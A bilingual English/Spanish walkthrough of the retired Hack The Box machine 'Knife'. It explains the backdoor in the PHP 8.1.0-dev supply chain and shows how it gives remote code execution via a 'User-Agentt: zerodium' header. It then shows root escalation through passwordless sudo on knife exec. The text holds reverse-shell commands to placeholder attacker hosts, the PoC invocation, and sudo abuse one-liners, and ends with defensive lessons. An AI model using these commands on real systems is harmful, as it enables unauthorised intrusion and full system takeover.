Knife
Executive summary — Knife is an Easy Linux box built around two very clean pieces of offensive security: the server exposes a development build of PHP (8.1.0-dev) carrying a real backdoor planted during a supply-chain compromise of the PHP project's own infrastructure, giving RCE with a single crafted HTTP header; and privilege escalation abuses
knife(Chef's Ruby CLI), authorized via passwordlesssudo, whoseexecsubcommand runs arbitrary Ruby as root. Path: PHP backdoor → direct RCE as james → sudo knife exec → root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.23.191 |
Attack map
[80] Apache · PHP 8.1.0-dev (backdoored development build)
│ source backdoor → «User-Agentt: zerodium ...» header runs PHP code
▼
[SHELL] james (direct RCE, no www-data hop) → user.txt
│ sudo -l → (root) NOPASSWD: /usr/bin/knife
▼
[ROOT] knife exec (arbitrary Ruby script) as root → root.txt
1. Reconnaissance
Before anything else, we run a full port scan rather than the default top-1000: on CTF boxes the interesting service is often on a high port, and limiting the scan can blind us to half the attack surface.
nmap -p- --open -n -T5 -v 10.129.23.191
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
Minimal surface: only SSH (22) and HTTP (80). The web page itself shows nothing remarkable at first glance — the clue is hiding in the response headers, so we inspect them with Burp Suite or the browser's DevTools:
X-Powered-By: PHP/8.1.0-dev
The golden clue:
8.1.0-devis not a stable release, it's an internal development build of PHP — it should never reach a production server. And that specific version happens to carry one of the most talked-about backdoors in PHP's recent history.
Resumen ejecutivo — Knife es un Linux Easy construido alrededor de dos piezas muy limpias de seguridad ofensiva: el servidor expone una versión de desarrollo de PHP (8.1.0-dev) con un backdoor real introducido durante un compromiso de la cadena de suministro del propio proyecto PHP, que da RCE con una simple cabecera HTTP manipulada; y la escalada de privilegios abusa de
knife(la CLI de Chef, escrita en Ruby) autorizada porsudosin contraseña, cuyo subcomandoexeccorre Ruby arbitrario como root. Recorrido: backdoor PHP → RCE directo como james → sudo knife exec → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.23.191 |
Mapa del ataque
[80] Apache · PHP 8.1.0-dev (versión de desarrollo backdooreada)
│ backdoor en el código → cabecera «User-Agentt: zerodium ...» ejecuta código PHP
▼
[SHELL] james (RCE directo, sin salto por www-data) → user.txt
│ sudo -l → (root) NOPASSWD: /usr/bin/knife
▼
[ROOT] knife exec (script Ruby arbitrario) como root → root.txt
1. Reconocimiento
Antes de tocar nada más lanzamos un escaneo completo de puertos (no solo el top-1000 por defecto): en máquinas CTF es habitual que el servicio interesante esté en un puerto alto, y limitarse al escaneo rápido puede dejarnos ciegos ante la mitad del ataque.
nmap -p- --open -n -T5 -v 10.129.23.191
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
Superficie mínima: solo SSH (22) y HTTP (80). La página web en sí no muestra nada llamativo a simple vista — la pista está escondida en las cabeceras de respuesta, así que las inspeccionamos con Burp Suite o las DevTools del navegador:
X-Powered-By: PHP/8.1.0-dev
La pista de oro:
8.1.0-devno es una versión estable, es una build de desarrollo interna de PHP — nunca debería llegar a un servidor de producción. Y da la casualidad de que esa versión concreta arrastra uno de los backdoors más comentados en la historia reciente de PHP.
2. The vulnerability: the PHP 8.1.0-dev backdoor
On March 28, 2021, two malicious commits were pushed to the official php-src repository through a compromise of the git.php.net server itself (not an individual maintainer's account). The commits, signed under the names of Rasmus Lerdorf and Nikita Popov (PHP's creator and a core maintainer, respectively) to blend in, added a function to ext/standard/info.c that runs on every HTTP request.
How the backdoor works: it checks whether the incoming HTTP header is named
User-Agentt— with a double «t», a deliberate typo so it doesn't collide with the legitimateUser-Agent— and whether its value starts with the stringzerodium(a direct jab at the exploit broker of the same name). If both conditions match, the rest of the header value is passed straight intozend_eval_string()— that is, executed as arbitrary PHP code.
The PHP team spotted the anomaly the same day, reverted the commits, and as a direct consequence of the incident moved all core development to GitHub. But any install still running that exact 8.1.0-dev build — like this box — remains trivial, unauthenticated RCE. Reference PoC: github.com/flast101/php-8.1.0-dev-backdoor-rce.
3. Foothold (RCE)
We clone the public PoC that automates sending the payload and spawning the reverse shell:
git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce.git
cd php-8.1.0-dev-backdoor-rce
We start a netcat listener in one terminal:
nc -lvnp 4444
And in another, run the script against the target (it requires the explicit http:// scheme in the URL; the arguments are target URL, attacker IP and listening port):
python3 revshell_php_8.1.0-dev.py http://10.129.23.191 <ATTACKER_IP> 4444
The incoming connection on the netcat listener already lands as a shell for user
james— notwww-data, which would be expected on a stock Apache setup. This indicates the PHP process serving the backdoored app runs underjames's own account rather than the usual web-server user, so the RCE hands us a regular-user shell directly, with no low-privilege intermediate hop.
whoami → james
4. Capturing the user flag
cd /home/james
cat user.txt
5. Privilege escalation
As always after landing a shell, the first move is checking what the current user can run with elevated privileges via
sudo.
sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
What
knifeis: the CLI for Chef, the configuration-management and infrastructure tool, written in Ruby. Itsexecsubcommand is meant to run administrative Ruby scripts against managed nodes — and herejamescan invoke it as root, without a password, with no restriction on which script it runs.
We write a tiny Ruby script that simply spawns an interactive shell and run it via knife exec:
cd /tmp
echo "system('/bin/bash')" > test.rb
sudo /usr/bin/knife exec test.rb
id
uid=0(root) gid=0(root) groups=0(root)
6. Alternative escalation vectors
The same primitive — arbitrary Ruby inside knife exec — supports other equivalent forms, useful if for whatever reason we can't drop a file into /tmp. Via a script with an embedded reverse shell:
echo '%x[bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"]' > x.rb
sudo /usr/bin/knife exec x.rb
Or directly as a one-liner with -E, with no file touching disk at all:
sudo /usr/bin/knife exec -E '%x[/bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"]'
7. Root flag
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | PHP 8.1.0-dev | Source backdoor (User-Agentt: zerodium<payload> header evaluated as PHP) | Unauthenticated RCE as james |
| PrivEsc | sudo + knife | knife exec runs any Ruby script as root via NOPASSWD | Escalation to root |
Lessons learned
- Never ship development/pre-release builds to production (PHP
-dev, RC, nightly…): they can carry unaudited last-minute code, or outright a backdoor. - Always check the HTTP response headers:
X-Powered-Byrevealed the exact backend version here, and with it the entry point. - Supply chain is a real attack surface: the backdoor didn't come from an application bug, it came from a compromise of the language's own official repository.
- Audit every
sudo NOPASSWDentry over tools that execute code (knife, perl, python, ansible, puppet…): they're root in disguise, catalogued on GTFOBins. - One misconfigured entry in
sudoersundoes everything else: no matter how well-patched the rest of the system is, this is the textbook example of a poorly applied least-privilege control (CIS Control 5, ISO 27001 A.8.2/A.9.2) checkmating the whole hardening effort.
2. La vulnerabilidad: el backdoor de PHP 8.1.0-dev
El 28 de marzo de 2021, dos commits maliciosos se colaron en el repositorio oficial php-src a través de un compromiso del propio servidor git.php.net (no de la cuenta de un mantenedor individual). Los commits, firmados a nombre de Rasmus Lerdorf y Nikita Popov (creador de PHP y mantenedor del núcleo, respectivamente) para camuflarse mejor, añadían una función a ext/standard/info.c que se ejecuta en cada petición HTTP.
Cómo funciona el backdoor: comprueba si la cabecera HTTP recibida se llama
User-Agentt— con doble «t», un typo deliberado para no chocar con elUser-Agentlegítimo — y si su valor empieza por el stringzerodium(una burla directa al broker de exploits del mismo nombre). Si ambas condiciones se cumplen, el resto del valor de la cabecera se pasa tal cual azend_eval_string(), es decir, se ejecuta como código PHP arbitrario.
El equipo de PHP detectó la anomalía el mismo día, revirtió los commits y, como consecuencia directa del incidente, migró todo el desarrollo del núcleo a GitHub. Pero cualquier instalación que haya quedado corriendo esa build concreta de 8.1.0-dev — como esta máquina — sigue siendo RCE trivial y no autenticado. PoC de referencia: github.com/flast101/php-8.1.0-dev-backdoor-rce.
3. Foothold (RCE)
Clonamos la PoC pública que automatiza el envío del payload y monta la reverse shell:
git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce.git
cd php-8.1.0-dev-backdoor-rce
Levantamos el listener de netcat en una terminal:
nc -lvnp 4444
Y en otra, lanzamos el script contra la víctima (requiere el esquema http:// explícito en la URL; los argumentos son URL objetivo, IP del atacante y puerto de escucha):
python3 revshell_php_8.1.0-dev.py http://10.129.23.191 <ATTACKER_IP> 4444
En la terminal del netcat la conexión entrante llega ya como shell del usuario
james— no comowww-data, que sería lo esperable en un Apache estándar. Esto indica que el proceso PHP que sirve la aplicación backdoreada corre bajo la cuenta propia dejamesen lugar del usuario habitual del servidor web, así que el RCE nos deja directamente con acceso de usuario normal, sin ningún salto intermedio de privilegios bajos.
whoami → james
4. Captura de la user flag
cd /home/james
cat user.txt
5. Escalada de privilegios
Como siempre tras conseguir un shell, lo primero es comprobar qué puede ejecutar el usuario actual con privilegios elevados vía
sudo.
sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
Qué es
knife: la CLI de Chef, la herramienta de gestión de configuración e infraestructura, escrita en Ruby. Su subcomandoexecestá pensado para correr scripts Ruby de administración contra los nodos gestionados — y aquíjamespuede invocarlo como root, sin contraseña, sin ninguna restricción sobre qué script ejecuta.
Escribimos un mini-script Ruby que simplemente lanza una shell interactiva y lo ejecutamos vía knife exec:
cd /tmp
echo "system('/bin/bash')" > test.rb
sudo /usr/bin/knife exec test.rb
id
uid=0(root) gid=0(root) groups=0(root)
6. Vectores alternativos de escalada
El mismo primitivo — Ruby arbitrario dentro de knife exec — admite otras formas equivalentes, útiles si por lo que sea no se puede dejar caer un fichero en /tmp. Vía script con reverse shell embebida:
echo '%x[bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"]' > x.rb
sudo /usr/bin/knife exec x.rb
O directamente en un one-liner con -E, sin necesidad de ningún archivo en disco:
sudo /usr/bin/knife exec -E '%x[/bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"]'
7. Root flag
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | PHP 8.1.0-dev | Backdoor en el código fuente (cabecera User-Agentt: zerodium<payload> evaluada como PHP) | RCE no autenticado como james |
| PrivEsc | sudo + knife | knife exec corre cualquier script Ruby como root vía NOPASSWD | Escalada a root |
Lecciones aprendidas
- Nunca despliegues builds de desarrollo/pre-release en producción (PHP
-dev, RC, nightly…): pueden traer código sin auditar de la última hora, o directamente un backdoor. - Revisa siempre las cabeceras de respuesta HTTP:
X-Powered-Byreveló aquí la versión exacta del backend y con ella la vía de entrada. - La cadena de suministro es una superficie de ataque real: el backdoor no vino de un fallo de código de la aplicación, sino de un compromiso del repositorio oficial del propio lenguaje.
- Audita cualquier entrada
sudo NOPASSWDsobre herramientas que ejecutan código (knife, perl, python, ansible, puppet…): son root disfrazado, catalogadas en GTFOBins. - Un solo permiso mal configurado en
sudoersanula todo lo demás: por bien parcheado que esté el resto del sistema, este es el ejemplo de manual de cómo una entrada de least privilege mal aplicada (CIS Control 5, ISO 27001 A.8.2/A.9.2) da jaque mate al hardening completo.